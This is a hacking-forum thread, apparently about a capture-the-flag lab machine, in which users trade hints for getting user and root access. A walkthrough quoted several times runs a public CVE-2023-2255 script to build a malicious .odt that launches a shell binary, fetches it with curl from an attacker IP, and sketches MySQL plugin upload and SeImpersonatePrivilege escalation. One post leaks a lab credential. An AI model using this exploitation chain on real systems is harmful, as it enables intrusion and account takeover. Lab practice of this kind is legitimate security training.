[CipherGhost]

can anyone give me  all step in one chat i got cunfused so much

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[KillerWhale]

any ideas on root?

[GWTW]

Any hints for root flag??

Aldy got the tstark reverse shell.

[DwightSchrute]

i have the tstark shell and the user flag.
from there on i have no idea how to move forward.

could somebody please explain how to get the hash of ppots from xampp and resume.php?
Cant figure out how to get it from there...
help is appreciated

[query1338]

Is the intended root way, using the SeMachineAccountPrivilege?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.

[gtastav]

I got it via intended and unintended !
This machine was complicated.
If you want the unintended way which is much easier , you must pivot on the machine and get port for mysql service , then run with the credentials for the root you got from the first CVE execution , Then you need to upload the lib/plugin file to the plugins directory then you get more creds to then run *something that has to do with the privilege SeImpersonatePrivilege Impersonate a client after authentication Enabled *
then you rooted it.
For the intended way you need to get access to the potts which is easy pz lemon squeezy:
https://github.com/elweth-sec/CVE-2023-2255
then
python CVE-2023-2255.py --cmd "c:\users\public\shell.exe" --output azerty.odt

ON THE TSTARK USER :
C:\xampp\htdocs\> curl http://10.10.XX/azerty.odt -o azerty.odt
(ITS DOWNLOADING THE odt FILE, MUST BE TO > C:\xampp\htdocs\internal\applications\azerty.odt)
then you get a shell on the listener as the ppotts user.
now do :
Get-WmiObject -Class Win32_ComputerSystem | Select-Object UserName
You see multiple sessions.From here its easy! good luck!

[fdsfsdgsgfsfds324]

I got it via intended and unintended !
This machine was complicated.
If you want the unintended way which is much easier , you must pivot on the machine and get port for mysql service , then run with the credentials for the root you got from the first CVE execution , Then you need to upload the lib/plugin file to the plugins directory then you get more creds to then run *something that has to do with the privilege SeImpersonatePrivilege        Impersonate a client after authentication Enabled *
then you rooted it.
For the intended way you need to get access to the potts which is easy pz lemon squeezy:
https://github.com/elweth-sec/CVE-2023-2255
then
python CVE-2023-2255.py --cmd "c:\users\public\shell.exe" --output azerty.odt

ON THE TSTARK USER :
C:\xampp\htdocs\> curl  http://10.10.XX/azerty.odt  -o azerty.odt
(ITS DOWNLOADING THE odt FILE, MUST BE TO > C:\xampp\htdocs\internal\applications\azerty.odt)
then you get a shell on the listener as the ppotts user.
now do :
Get-WmiObject -Class Win32_ComputerSystem | Select-Object UserName
You see multiple sessions.From here its easy! good luck!

What do you mean find the SQL port?
My nmap does not find anything closely related to that...! I already have the root:password for the DB but kind of lost where to go know.
Already tried to enumerate all the things, and also don't know how did you guys found out the tstark username...

Any hints please?

[GWTW]

Try the directory

C:\Windows\Temp\

[intersteller2038]

I got it via intended and unintended !
This machine was complicated.
If you want the unintended way which is much easier , you must pivot on the machine and get port for mysql service , then run with the credentials for the root you got from the first CVE execution , Then you need to upload the lib/plugin file to the plugins directory then you get more creds to then run *something that has to do with the privilege SeImpersonatePrivilege        Impersonate a client after authentication Enabled *
then you rooted it.
For the intended way you need to get access to the potts which is easy pz lemon squeezy:
https://github.com/elweth-sec/CVE-2023-2255
then
python CVE-2023-2255.py --cmd "c:\users\public\shell.exe" --output azerty.odt

ON THE TSTARK USER :
C:\xampp\htdocs\> curl  http://10.10.XX/azerty.odt  -o azerty.odt
(ITS DOWNLOADING THE odt FILE, MUST BE TO > C:\xampp\htdocs\internal\applications\azerty.odt)
then you get a shell on the listener as the ppotts user.
now do :
Get-WmiObject -Class Win32_ComputerSystem | Select-Object UserName
You see multiple sessions.From here its easy! good luck!

What do you mean find the SQL port?
My nmap does not find anything closely related to that...! I already have the root:password for the DB but kind of lost where to go know.
Already tried to enumerate all the things, and also don't know how did you guys found out the tstark username...

Any hints please?

that poster didnt hack it on their own they wont be able to help you much further.

here is your gift

OFFICE\web_account:verytoughpassword123!

Can you please tell me where exactly you found this?

[GWTW]

I got it via intended and unintended !
This machine was complicated.
If you want the unintended way which is much easier , you must pivot on the machine and get port for mysql service , then run with the credentials for the root you got from the first CVE execution , Then you need to upload the lib/plugin file to the plugins directory then you get more creds to then run *something that has to do with the privilege SeImpersonatePrivilege        Impersonate a client after authentication Enabled *
then you rooted it.
For the intended way you need to get access to the potts which is easy pz lemon squeezy:
https://github.com/elweth-sec/CVE-2023-2255
then
python CVE-2023-2255.py --cmd "c:\users\public\shell.exe" --output azerty.odt

ON THE TSTARK USER :
C:\xampp\htdocs\> curl  http://10.10.XX/azerty.odt  -o azerty.odt
(ITS DOWNLOADING THE odt FILE, MUST BE TO > C:\xampp\htdocs\internal\applications\azerty.odt)
then you get a shell on the listener as the ppotts user.
now do :
Get-WmiObject -Class Win32_ComputerSystem | Select-Object UserName
You see multiple sessions.From here its easy! good luck!

What do you mean find the SQL port?
My nmap does not find anything closely related to that...! I already have the root:password for the DB but kind of lost where to go know.
Already tried to enumerate all the things, and also don't know how did you guys found out the tstark username...

Any hints please?

mysql port is 3306 and it's running on the localhost, so you may need to portfoward!